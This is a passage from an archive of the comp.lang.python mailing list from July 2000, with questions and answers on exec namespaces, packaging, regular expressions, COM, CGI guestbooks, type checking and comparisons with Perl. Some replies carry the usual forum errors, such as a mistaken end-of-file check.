	var_one = 'in one'
	
	# check out our environment -- any sign of namespace? no??
	print
	print '1111111111111111111111111'
	pp = pprint.PrettyPrinter()
	print ' local => '
	pp.pprint( locals() )
	print 'global => '
	pp.pprint( globals().keys() )

	return 'one'
	
def two():
	import pprint

	# same as above -- for now
	# later this will catch variables defined in one()
	var_two = 'in two'
	
	print
	print '2222222222222222222222222'
	pp = pprint.PrettyPrinter()
	print ' local => '
	pp.pprint( locals() )
	
	print 'global => '
	pp.pprint( globals().keys() )

	return 'two'
# test_lib.py END #############

Then I tried a variation of test.py using the eval function in place
of the exec statement:

	# BEGIN KEY CODE
	code1 = 'one()'
	code2 = 'two()'
		
	compiled1 = compile(code1, '<string>', 'eval') 
	compiled2 = compile(code2, '<string>', 'eval')
		
	ret_one = eval(compiled1, namespace)
	ret_two = eval(compiled2, namespace)
	# END KEY CODE

The results?

The namespace appears to have no effect on the user routines. They
cannot see var_main. Both methods produce the same (null) results.

How do I do this?

-----
robin                          robin at illusionsexeculink.com
media artist /                 remove illusions to reply
information architect          www.execulink.com/~robin/

"We told it about general relativity and gravity, the kind of people
that overcome hardships." 


From level2junkie at my-deja.com  Mon Jul 10 10:35:15 2000
From: level2junkie at my-deja.com (level2junkie at my-deja.com)
Date: Mon, 10 Jul 2000 14:35:15 GMT
Subject: Dummies guide to freeze/standalone?
Message-ID: <8kcmv4$uqo$1@nnrp2.deja.com>

Can someone out there give me a direct answer on
how to freeze a block of python script files?
I've written a program that spans several files,
but I can't seem to figure out how to package
them.  I'd like to be able to run this program on
a machine that doesn't have python installed on
it, otherwise what's the point?  Has anyone out
there figured out how to do this?  If so can you
please help me?


Sent via Deja.com http://www.deja.com/
Before you buy.


From frr at mindless.com  Tue Jul 11 11:37:26 2000
From: frr at mindless.com (Fernando Rodríguez)
Date: Tue, 11 Jul 2000 15:37:26 GMT
Subject: checking the existence of a fiel
Message-ID: <WaHa5.175$T23.3601@m2newsread.uni2.es>

Hi!

    How can I check if a file exists? O:-)

TIA

--


---------------------------------------
Fernando Rodr?guez




From tiddlerdeja at my-deja.com  Tue Jul  4 12:07:16 2000
From: tiddlerdeja at my-deja.com (tiddlerdeja at my-deja.com)
Date: Tue, 04 Jul 2000 16:07:16 GMT
Subject: Java line to JPython (help Obj.class)
Message-ID: <8jt239$jb3$1@nnrp1.deja.com>

Can anyone help me turn this java line into JPython?

URL dtdURL = DOMConfigurator.class.getResource("l");

The problem I'm getting is that DOMConfigurator doesn't seem to have
attribute class.

Is there a workaround?

Any help appreciated.


Sent via Deja.com http://www.deja.com/
Before you buy.


From sdhyok at email.unc.edu  Mon Jul 10 13:21:28 2000
From: sdhyok at email.unc.edu (Daehyok Shin)
Date: Mon, 10 Jul 2000 13:21:28 -0400
Subject: Python book suggestions?
References: <MPG.13d2b74a5f5c63ea98981c@news.onlynews.com>
Message-ID: <8kd0mo$mo1$1@news2.isis.unc.edu>

The best book I find is "Python Essential Reference."

"Randall Parker" <rgparker at west.net> wrote in message
news:MPG.13d2b74a5f5c63ea98981c at news.onlynews.com...
> I would like to learn Python because people I respect think highly of it.
> I have backgroun in C++, Java, and assorted other languages. I intend to
> use Python to do web site development.
>
> Does anyone have any suggestions as to which books are good for learning
> the Python language?
>
> How about a book about Python and XML?
>
> How about a book about Python for web site development?
>
> I'm thinking of starting with the v1.6 version that I see from an article
> has a number of language changes over previous versions. Are any books
> due out imminently that will cover this newer version?
>




From fiona at sitegnome.com  Sat Jul 29 10:37:23 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sun, 30 Jul 2000 00:37:23 +1000
Subject: Python in politics (sssssssssnake!)
References: <Pine.GSO.4.10.10007291308070.20226-100000@sundial> <3982EB8C.BD6DDE7C@sitegnome.com>
Message-ID: <3982EC23.6F99B338@sitegnome.com>

Answering my own mail :-)

found the URL

http://yhslug.tux.org/obp

thanks. 


Fiona Czuczman wrote:
> 
> > "Thinking like a computer scientist in Python", available at
> > http://yhslug.tux.org.il/obp/
> 
> Is this the right URL? My browser is telling me it can't locate the
> server..
> 
> thanks,
> 
> Fiona


From akuchlin at mems-exchange.org  Fri Jul 28 09:04:12 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 28 Jul 2000 09:04:12 -0400
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007280909410.4194-100000@sundial>
Message-ID: <3d7la6v22b.fsf@kronos.cnri.reston.va.us>

Moshe Zadka <moshez at math.huji.ac.il> writes:
> Huh? Is "ab" an integer? What happens when I do "ab"+1? 1+"ab"?
> What happens when I do 1+(6.0**100000)-(6.0^100000)?

$v = "abc"; $v++;  produces "abd".  1 + '0xff' produces 2.9921875.

A long time ago in comp.risks, someone reported a bug in a JavaScript
mortgage calculator.  The calculator used eval(), not atoi(), to
convert strings to integers; a side effect of this was that leading
zeros would cause a number to be interpreted as octal, so 01000 was
not the same as 1000.  For a mortgage calculation, where the user may
not have an estimate of what the correct result is, most users would
probably never discover the error.

--amk


From olivierS.dagenaisP at canadaA.comM.bbs  Mon Jul 17 00:10:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 17 Jul 2000 04:10:02 GMT
Subject: Wishlist sumbission form?
Message-ID: <3bQl0Q$kaN@openbazaar.net>

In the future, everyone will be a programmer and will be able to implement
their own ideas quickly.  That, or when they start realizing that all of
humankind have become geeks, they'll just get rid of all computers and we'll
go back to grunting and hunting for food.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III

"Paul Prescod" <paul at prescod.net> wrote in message
news:39727EFB.77234AEA at prescod.net...
> Matthew Cline wrote:
> >
> > Is there any way of submitting feature requests for Python,
> > other than by filing a bug report?
>
> I don't think so. If it is a very targeted request, you could try the
> but report route. If it is large and arguable, you should probably post
> it here and get some people to support it. If its good, someone will
> implement it. In open source software, only the features that developers
> are interested in get implemented so a wish list might well get ignored
> anyhow. It's not that nobody cares what you think it's that there's an
> infinite list of wishes so people tend to attack them in the order in
> order of personal interest or widespread demand.
> --
>  Paul Prescod - Not encumbered by corporate consensus
> It's difficult to extract sense from strings, but they're the only
> communication coin we can count on.
> - http://www.cs.yale.edu/~perlis-alan/quotes.html
>


From serve at circe.dem.nl  Sun Jul 23 07:20:08 2000
From: serve at circe.dem.nl (slaurijssen)
Date: Sun, 23 Jul 2000 13:20:08 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964118210.2281.0.pluto.d4ee0942@news.demon.nl> <397ab732.1184204@news.proxad.net>
Message-ID: <964351215.18988.0.pluto.d4ee0942@news.demon.nl>

Oh, I'm sorry. I didn't realize there would actually be someone that
actually wants to use it. What's the point in using a C++-interpreter when
it's just as easy to compile the source, which has more advantages?
But who am I to argue,

the package is called CINT and I found a link at
http://root.cern.ch/root/Cint.html


Jm <giem_I_AM_SINGING_IN_THE_RAIN at free.fr> schreef in berichtnieuws
397ab732.1184204 at news.proxad.net...
> Do you have a link to it,
>  or at least the name of that interpreter ??
>
> --
>
> On Thu, 20 Jul 2000 20:36:49 +0200, "slauijssen" <serve at circe.dem.nl>
> wrote:
>
> >Err, by the way
> >On a linux cd I found a C++ interpreter. The funny thing is that the
> >interpreter itself is written with c++ and interprets itself to interpret
> >the really to interpret code. Got it? ;-)
> >
> >Mallor <mallor at 3DProgrammer.com> schreef in berichtnieuws
> >v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
> >> Are any of you game developers out there using Python as your game
> >engine's
> >> embedded scripting language?  I am wondering what drove your decision
to
> >use
> >> Python instead of other embeddable scripting languages?  I'd like to
hear
> >what
> >> your overriding concerns were, and also what they are now, having put
> >Python to
> >> the test.
> >>
> >> --
> >> Cheers,             Infernal Troublemaker                    Troll
> >> Mallor              "By simple mistake, mortals themselves amuse."
> >>
> >>
> >>
> >
> >
>




From johngrayson at home.com  Thu Jul 20 16:29:26 2000
From: johngrayson at home.com (John Grayson)
Date: Thu, 20 Jul 2000 20:29:26 GMT
Subject: Tkinter Problem with Radiobuttons
References: <3974E55A.FED978BD@leland.stanford.edu>
Message-ID: <8l7neo$5tq$1@nnrp1.deja.com>

In article <3974E55A.FED978BD at leland.stanford.edu>,
  Ryan Vartanian <vartan at leland.stanford.edu> wrote:


You must use IntVar's get method to obtain the value:

     result = self.selection.get()


Sent via Deja.com http://www.deja.com/
Before you buy.


From fiona at sitegnome.com  Wed Jul 19 09:17:35 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 19 Jul 2000 13:17:35 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 19th, 2000
Message-ID: <20000719131735.23279.qmail@synop.com>

Hello All,

Yet another instalment of entries into http://python.faqts.com

regards,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
grouping in regular expressions
http://www.faqts.com/knowledge-base/view.phtml/aid/4860
-------------------------------------------------------------
Fiona Czuczman
Wolfgang Strobl

Problem:

I am finding it difficult to match the ip address in the
following line using re module.

"       inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0"

Solution:

>>> import re
>>> s="       inet addr:192.168.0.1  Bcast:192.168.0.255 
Mask:255.255.255.0"
>>> p=re.compile('\s+inet addr:(\d+\.\d+\.\d+\.\d+)\s+.*')
>>> p.match(s).groups()
    ('192.168.0.1',)
>>>


-------------------------------------------------------------
How can I make it so the interpreter defaults to hexidecimal output?
http://www.faqts.com/knowledge-base/view.phtml/aid/4863
-------------------------------------------------------------
Fiona Czuczman
J?rgen Hermann

Problem:

what I mean is the following:

>>> i = 0xa
>>> print i
10
>>> i
10

what I really want is to get the following:

>>> i = 0xa
>>> i
0xa

Solution:

Then write a HexInt class that overloads __str__ and __repr__,
and use i = HexInt(0xa). I see no other way.


-------------------------------------------------------------
Does Python support any sort of floating point "not a number" (e.g. IEEE infinity)?
http://www.faqts.com/knowledge-base/view.phtml/aid/4864
-------------------------------------------------------------
Fiona Czuczman
Huaiyu Zhu, Warren Focke

This seems to work and is used in MatPy:

Inf = inf = 1e300**2
NaN = nan = inf - inf

-----------

Python floats inherit the behavior of your C platform's doubles, so on
an IEEE-754 system, they will act fairly IEEE-like, as Huaiyu
demonstrates:

>Inf = inf = 1e300**2
>NaN = nan = inf - inf

However, according to a recent post, the OpenVMS port of python uses
VAX-format math[1], which has less exponent range than IEEE.  I think
that that expression for Inf will not parse there.  I don't even know
if VAXen have Inf or NaN.

-----------

According to discussions on comp.lang.python, there is no universal way 
to treat NaN, but the following codes work on Windows (NT and 98), 
Solaris (2.7 with gcc) and Linux (RH6.1 with egcs).

It core dumps on Tru64 Unix on Compaq Alpha [Solution: When using DEC
(Compaq) compiler to build Python try using -ieee switch].

Supposedly it should work on any machine using IEEE arithmetics.

An alternative that sometimes works is
NaN = math.exp(1000) / math.exp(1000)


## Edited Entries ##############################################


-------------------------------------------------------------
How can I catch an error in re.compile?
How can I test for a bad regular expression?
http://www.faqts.com/knowledge-base/view.phtml/aid/1357
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Fredrik Lundh

Why not just compile a bad expression and see what happens? ;-)

>>> re.compile("(")
Traceback (innermost last):
  File "<stdin>", line 1, in ?
  File "C:\py152\lib\re.py", line 79, in compile
    code=pcre_compile(pattern, flags, groupindex)
pcre.error: ('missing )', 1)

(to catch the exception, use try/except re.error)


-------------------------------------------------------------
Can a class have two __init__ functions with different argument lists?
http://www.faqts.com/knowledge-base/view.phtml/aid/4799
-------------------------------------------------------------
Mark Tomko, Michael Hudson


No, not really.

There are workarounds; the lowest-tech is something along the lines of:

class C:
    def __init__(*args):
        if len(args) == 1:
            apply(args[0].init0,args)
        else:
            apply(args[0].init1,args)
    def init0(self):
        print "no args!"
    def init1(self):
        print "one arg!"

Also, in some circumstances it may be possible to create the instance
using the new module and then choose which initialization function to
call.  This is definitely an experts only solution...  I have used it in
eg:

http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/bytecodehacks/bytecodehacks/code_editor.py?rev=1.7.2.1&content-type=text/x-cvsweb-markup&cvsroot=bytecodehacks

(nice long url, sorry)

about 40 lines in.


-------------------------------------------------------------
Could someone give me a simple explanation of regular expressions?
http://www.faqts.com/knowledge-base/view.phtml/aid/3870
-------------------------------------------------------------
Fiona Czuczman
Andrew Kuchling

Regular expressions are a mini-language for defining a certain set 
of strings; the re module then takes a regular expression and tells you
if a given string matches the expression.  For example, [abc] means
'a', 'b', or 'c'; \bA.*?\b means a word beginning with 'A' (\b is a
special sequence meaning "match a word boundary").  As you can see,
regular expressions are concise but can easily be obscure.

Regular expressions will practically never be faster than a simple
string.find, so if you're searching for a fixed string, don't use
regular expressions; their extra expressive power costs you in
performance.  But they can do things that aren't possible with the
string module alone, and would require several lines of Python code 
to implement.

Consult the Library Reference, or the Regular Expression HOWTO for
more info.  (http://www.python.org/doc/current/lib/module-re.html,
http://www.python.org/doc/howto/regex/)






From maxm at normik.dk  Wed Jul  5 04:34:15 2000
From: maxm at normik.dk (=?iso-8859-1?Q?Max_M=F8ller_Rasmussen?=)
Date: Wed, 5 Jul 2000 10:34:15 +0200 
Subject: Again: ODBC / Win98 -> crash
Message-ID: <7BD10B680501D411B9DF009027E06F32011AE8@EXCHANGE>

Fra: Matthias Huening [mailto:matthias.huening at univie.ac.at]

>Now for a really strange thing: I just moved my script to a different
>computer (almost identical configuration), and... - everything works
>just fine! No crashes, no problems whatsoever. I hate computers.

Maybe the machine it crashed on had Office 2K installede recently ??? and
the one that doesn't crash hasn't or something like that. The combination of
Win2k, Office2000/97 has caused me no end of grief.

Try installing the newest version of mdac on your machine. (should not be
needed on win 2K).

Also check your security settings and r/w acces. Combinations of these two
has helped me before.

Regards Max M



From theebh at yahoo.com  Tue Jul 25 08:32:05 2000
From: theebh at yahoo.com (Jonathan)
Date: Tue, 25 Jul 2000 12:32:05 GMT
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com>
Message-ID: <8lk1c5$fv4$1@nnrp1.deja.com>

In article <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one at email.msn.com>,
  "Tim Peters" <tim_one at email.msn.com> wrote:
> A few quickies:
>
> [Jonathan]
> > Hi, just finished going through the 'Learning Python' book, and the
> > feeling that i get is that Python is really wierd(compared to other
> > conventional languages like C++, Java, etc). For e.g.(correct me if
i'm
> > wrong)
> > ...
> > 3. No keywords to differentiate between passing arguments by
reference
> > or value! An integer is passed by value(reference to a new copy),
while
> > a mutable object is by reference. To pass a list by 'value', i know
you
> > just need to insert one more line(list = [:]), but it seems
> > so 'inconsistent' compared to Java or even PHP.
>
> I'm surprised you got that impression from the book.  It isn't a true
one.
> Everything in Python is passed by reference, always; Python never
(ever!)
> makes a copy of anything unless you explicitly ask for one.  What you
> describe is actually much closer to the way Java works.

Oops...maybe i typed too fast! What i meant to say was: passing an
immutable object by reference simulates the "pass-by-value" feature of
other programming languages. And the book did make it clearly:)
>
> > (Not to mention the number of 'gotchas' listed in the book that are
> > bound to trap beginners - *shudder*)
>
> You'll find that (by far) most Python users believe the language has
far
> fewer gotchas than other languages they've used.  I'm certain the
book did
> *not* say the gotchas they list at the end of each chapter "are bound
to
> trap beginners".  Different people have different blind spots, and the
> authors did a remarkable service by listing the *union* of "gotchas"
they've
> seen beginners get got by <wink>.  There are very few gotchas in
Python that
> *most* beginners suffer (stark contrast with C, C++ or Perl is dead
easy).
> See also Andrew Kuchling's "Python Warts" paper:
>
>     http://starship.python.net/crew/amk/python/writing/warts.html
>
> That lists deep areas of ongoing (and going, and going <wink>)
debate.  The
> "beginner gotchas" are much shallower, and the best predictor I know
of for
> which feature will trip which beginner is the programming language
they used
> most before coming to Python.  It's insane to believe that language X
> "should" work exactly like language Y, and beginners who don't come
in with
> an insane attitude very quickly adjust.
>
Yep, point taken. I think the book did a good job by listing out all
the potential gotchas that might trap a newbie. What i was thinking is
the nature of the 'gotchas' that arise in python. My knowledge in
programming is quite shallow(i must admit), and my progress was
from 'pascal'->'c'->'c++/java'->'perl'->'php'. Along the way, of course
there are a few 'gotchas' in each language, but most of them did not
throw much surprises(except perl - the 'blessing' part for e.g.)

> As the years have gone by, I've gotten a sick, hypocritical thrill
out of
> cruising other language newsgroups, and finally seeing people
complain that
> language X, Y or Z doesn't work exactly like Python <0.9 wink>.
>
> > The reason i'm picking up python is that i got sick of PERL:),
>
> There are many here who came to Python for the same reason.  Don't
expect
> Python to act like Perl, and I predict you'll be happy.  If you left
Perl
> reluctantly, you may also want to give Ruby a try.  One suggestion:
stop
> reading so much and write some damn code already <wink>.
>
ok, ok i'm trying to write some codes soon:) I don't expect Python to
be the same as PERL, else i wouldn't have bothered picking it up:)

> > ...
> > Pascal(for procedural) and Java(for OOP) is still the better choice
to
> > start off, IMHO.
>
> Try to reserve judgment until you've actually used the language.  Are
you
> old enough to remember the then-famous 1977 paper "Ambiguities and
> Insecurities in Pascal", by Welsh, Sneeringer and Hoare?  A frank
discussion
> of *any* language's lapses from perfection will scare the snot out of
> anybody who only reads about the language.  The Python community is
very
> open about what they think is lacking in the language; curiously,
though,
> there's almost no consensus on what that is.
>
> don't-reply-start-coding<wink>-ly y'rs  - tim
>
I'm making this judgment from a perspective of a newbie to python,
comparing to my experience with these 2 languages(back when i first
started learning them). I'm thinking back which one has been easy to
pick up so far, and which one helps me to understand programming
principles. Things like strict typing, declaration of
functions/variables, difference btwn pass-by-value or pass-by-
reference, static or instance variables, (etc) seems easier to explain
to a newbie in Pascal or Java (of course i dun mean to use pascal for
serious programming purposes).

regards,
jonathan


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at users.sourceforge.net  Fri Jul 28 21:16:57 2000
From: hzhu at users.sourceforge.net (Huaiyu Zhu)
Date: Sat, 29 Jul 2000 01:16:57 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com> <slrn8o3tar.49c.grey@teleute.rpglink.com> <39822757.A5803B9B@alcyone.com> <slrn8o4af3.7dm.grey@teleute.rpglink.com>
Message-ID: <slrn8o4cbl.1cq.hzhu@rocket.knowledgetrack.com>

On Sat, 29 Jul 2000 00:50:46 GMT, Steve Lamb <grey at despair.rpglink.com> wrote:
>On Fri, 28 Jul 2000 17:37:43 -0700, Erik Max Francis <max at alcyone.com> wrote:
>>>     Mmmm, in as far as I can read that, yes.  It is the operation that
>>> determines the type of the data, not the data in and of itself.
>
>>Not in a strongly typed language like Python, it doesn't.
>
>    Pardon my french but... no shit sherlock.  That has been my point all the
>long.  I feel that such a thing, as is somewhat evident in Perl, is not the
>bad thing that some people in Python make it out to be.  I never once claimed
>that Python did it.  
>

You seem to want Python operations to depend on the context as Perl dos. You
may be interested in reading my simple analysis of why this is bad

http://www.python.org/pipermail/python-list/2000-July/109243.html

The key point is that a good language should not force a reader maintain a
very complicated mental picture while reading the code - you understand a
block of code independently of the context it is used, and when you use it
elsewhere you do not need to understand how it's implemented. 

Huaiyu


From MarkH at ActiveState.com  Tue Jul 25 20:38:17 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Wed, 26 Jul 2000 00:38:17 GMT
Subject: Two COM Questions:  QueryInterface, and Callback Inheritance
References: <3pnf5.50267$DH3.1583089@news-east.usenetserver.com>
Message-ID: <Zpqf5.12049$4p3.93208@news-server.bigpond.net.au>

> QUESTION ONE:
> How to QueryInterface for a new dispatch interface?

You just perform the QI - but on the "_oleobj_" object.  ie:

> >>>    import win32com.client
> >>>    d = Dispatch("MyCoolThing.App")
> >>>    s = d.GetOtherThing()

You need to do something like:
>>> s = d.GetOtherThing()
>>> other_s = s._oleobj_.QueryInterface("{new_iid}")
>>> s = Dispatch(other_s) # Turn it back into a useful object.

> QUESTION TWO:
> How to subclass a class based on Dispatch?  Can it work at all?

You don't want to "subclass" - you want to implement an interface.

Basically, you want to create a COM server object, but _not_ have it
registered.

I'm afraid I dont have the time to answer this in detail - you can either
try and big up old posts of mine (but Deja sucks these days), or buy my
book, or beg someone with my book to outline the steps and provide some
code...

http://starship.python.net/crew/mhammond/ppw32 is where you can find the
book samples - code that demonstrates this is buried somewhere in there in
the "Advanced COM" chapter.

Mark.





From dworkin at ccs.neu.edu  Sun Jul 23 23:04:08 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 23 Jul 2000 23:04:08 -0400
Subject: Does Python support interfaces?
In-Reply-To: "Eric Hopper"'s message of "Tue, 18 Jul 2000 10:14:57 -0600"
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com>
	<vndlmz0b5jp.fsf@camelot-new.ccs.neu.edu>
	<Rv_c5.1492$6E.294613@ptah.visi.com>
Message-ID: <vndsnt0tejb.fsf@camelot-new.ccs.neu.edu>

"Eric Hopper" <hopper at omnifarious.mn.org> writes:

> > If it behaves properly, it behaves properly, and that is all that
> > matters.
> 
> Whee!  Inheritance by mysteriously coinciding method names is so much fun!

Where do you get "mysterious" out of that?

You choose your method names.  If they are mysterious, it's your fault.

-Justin

 



From Armin at Steinhoff_de.bbs  Mon Jul 17 04:50:02 2000
From: Armin at Steinhoff_de.bbs (Armin at Steinhoff_de.bbs)
Date: 17 Jul 2000 08:50:02 GMT
Subject: Type checking in python?
Message-ID: <3bR6EQ$kSL@openbazaar.net>

In article <Ptvc5.40687$MT.1455524 at news-west.usenetserver.com>, Matthew says...
>
>It would be nice if I could do something like:
>
>  def my_func(int foo, list bar, Quux quux):
>     ...
>
>rather than
>
>  def my_func(foo, bar, quux):
>     if not isinstance(quux, Quux):

That's plain C ...

      if not quux.isinstance(Quux):

is more flexible ... so you have just to implement that method in your class
definition

Regards

Armin

>        raise RuntimeError("param 'quux' must be of class 'Quux'")
>
>Is there any plans on doing this for Python 3000?  Or will something
>like this never be a part of Python?
>
>


From baron at null.net  Sat Jul  8 00:48:11 2000
From: baron at null.net (Matthew Schinckel)
Date: Sat, 8 Jul 2000 14:18:11 +0930
Subject: EOF
In-Reply-To: <396623EE.211B14E9@sis.it>
References: <396623EE.211B14E9@sis.it>
Message-ID: <Pine.BOS.4.10.10007081414000.1550-100000@be>

On Fri, 7 Jul 2000, fae wrote:

> 
> Sorry,
>    how can I test if I reached the end of file ?
> 
> thanks ,
>    Leonardo.
> 

That's okay,

How about:

(assuming this somewhere above:)
f = open(filename, 'r')

if f.tell(0,2):
    print "EOF!"

-- 
Matthew Schinckel	<matt at null.net>

ARCHDUKE FERDINAND FOUND ALIVE --
	FIRST WORLD WAR MISTAKE



From paul at gudge.demon.co.uk  Mon Jul 31 12:20:10 2000
From: paul at gudge.demon.co.uk (Paul Goodyear)
Date: Mon, 31 Jul 2000 16:20:10 GMT
Subject: Retrieving a query string from a <FORM ACTION> command
Message-ID: <_Ghh5.853$7F2.53864@news3.cableinet.net>

Yep i'm a newbie here.

Been doing this stuff for about a month and it rocks. The thing is I wrote a
guestbook and for the last weeks it's been working fine. But all of a sudden
the text that is sent to my server from the web page in the comments text
input or textarea boxes are sent with +'s instead of spaces.

I have tried both action="get" and action="post" in the HTML code.

I have put the code below that does the grabbing:

HTML CODE:
---------------

<form method="get" action="/cgi-bin/guestbook.py">


PYTHON CODE:
-------------------

    import time, string, os

    print "Content-type: text/html\n\n"

    qs = os.environ['QUERY_STRING']
    t = string.split(qs, "?")
    tt = string.split(t[0], '&')
    NameString = string.split(tt[0], '=')
    EmailString = string.split(tt[1], '=')
    CommentString = string.split(tt[2], '=');

    TimeString = time.ctime(time.time())

    GuestList = open('cgi-bin/guestbook.txt')
    CurrentGuest = GuestList.readlines()
    GuestList.close()


    GuestList = open('cgi-bin/guestbook.txt', 'w')
    line = NameString[1] + ',' + EmailString[1] + ',' + CommentString[1] +
',' + TimeString + '\n'
    GuestList.write(line)
    GuestList.writelines(CurrentGuest)
    GuestList.close()

I'm taking the query string and placing all the fields into variables,
reading in the current entries and then writing them all out again.

But as I said and why I need help is that all the spaces are now been
replaced with + sysbols, which can I stress didn't do at first. I have
changed the code and put it back and it did just the same.

Please help.

email or post.




From peter at schneider-kamp.de  Sun Jul 23 18:55:51 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 22:55:51 +0000
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature> <8la8ib$8um$1@slb2.atl.mindspring.net> <01ihns4q4urkisti1mc02kadfohpo32mov@4ax.com> <397A47C8.B19D60B1@easystreet.com> <397B2A05.2115DB6D@roguewave.com>
Message-ID: <397B77F7.A0979195@schneider-kamp.de>

Bjorn Pettersen wrote:
> 
> Anyone suggested parallel yet?

Yes. Why not have a look at the PEP first?

http://python.sourceforge.net/peps/pep-0201.html

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From gmcm at hypernet.com  Thu Jul 20 19:39:32 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 20 Jul 2000 23:39:32 GMT
Subject: How to hook import?
References: <8l6dsf$1mu$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <8F77CBF93gmcmhypernetcom@199.171.54.155>

Dirk-Ulrich Heise wrote:

>A question to the Developers:
>
>What's the official way to overload the behaviour
>of import()? 

The current "official" way is still ihooks, but imputil will be in the std 
lib real soon now, and most people find it quite a bit easier to use.

-Gordon


From wlfraed at ix.netcom.com  Sat Jul  8 19:42:48 2000
From: wlfraed at ix.netcom.com (Dennis Lee Bieber)
Date: Sat, 08 Jul 2000 16:42:48 -0700
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net> <39675F00.DC04D6E9@sprynet.com>
Message-ID: <eeefms8sdmlnim3qnog88r3jkdatcmvbmn@4ax.com>

On Sat, 08 Jul 2000 17:04:00 +0000, Adam DePrince <deprince at sprynet.com>
declaimed the following in comp.lang.python:

> VMS: 
> Set the file's binary flag accordingly.  Does anybody know if VMS does
> Windows style translation too?
>
	Considering that VMS has some half dozen "text" formats (fixed
length records, variable length using <CR> control, variable length
using FORTRAN control codes, etc.) I'd hope VMS RMS services could
figure out the proper way to read a file from the directory data <G>

--
 > ============================================================== <
 >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
 >      wulfraed at dm.net     |       Bestiaria Support Staff       <
 > ============================================================== <
 >        Bestiaria Home Page: http://www.beastie.dm.net/         <
 >            Home Page: http://www.dm.net/~wulfraed/             <


From claird at starbase.neosoft.com  Mon Jul 31 00:24:16 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 30 Jul 2000 23:24:16 -0500
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com> <m3k8e6q7qr.fsf@bluepeak.westend.com>
Message-ID: <6C76ABF30A7A02C4.6102B487AA52D46C.1E73B3C959C568A9@lp.airnews.net>

In article <m3k8e6q7qr.fsf at bluepeak.westend.com>,
Andreas Kupries  <a.kupries at westend.com> wrote:
			.
			.
			.
><quote http://www.perl.org/perl6/initial_meeting.html>
>> Syntax separation - multiple syntaxes ?
>> Perl6 offers the possibility to ... write Perl programs in multiple
>> syntaxes such as Python, JavaScript, and Perl5 ...
>
>This reminds me of Guile, which tried to do the same thing, no ?
Still trying.  The latest snapshot is less than a month old.
<URL:ftp://ftp.gnu.org/pub/gnu/guile>
			.
		[apt sociologic remarks
		on developmental mechan-
		isms]
			.
			.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From nobody at nowhere.nohow  Thu Jul 27 17:50:21 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Thu, 27 Jul 2000 21:50:21 GMT
Subject: Python luddites (was Re: Type inference now simplicity)
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au> <397F5410.6D9D317A@uab.edu> <20000727104408.A10021@inkontact.com.au> <39808e81.145010138@news.telus.net> <slrn8o160d.rt1.grey@teleute.rpglink.com>
Message-ID: <slrn8o1bkt.dd3.nobody@isis.visi.com>

In article <slrn8o160d.rt1.grey at teleute.rpglink.com>, Steve Lamb wrote:

>>IMO, they're detrimental, and should not be offered.
>
>    YEAH!!!  I say everyone should have to program in nothing but 0s and 1s!

You use 1's? 

Wimp!

-- 
Grant Edwards                   grante             Yow!  Hmmm... A hash-singer
                                  at               and a cross-eyed guy were
                               visi.com            SLEEPING on a deserted
                                                   island, when...


From hzhu at knowledgetrack.com  Fri Jul 14 19:12:58 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Fri, 14 Jul 2000 23:12:58 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F502B.45225ED9@roguewave.com>
Message-ID: <slrn8mv7qg.rl.hzhu@rocket.knowledgetrack.com>

On Fri, 14 Jul 2000 11:38:51 -0600, Bjorn Pettersen <bjorn at roguewave.com>
wrote: 
>
>Well, this could actually be generally useful, but not with the .+
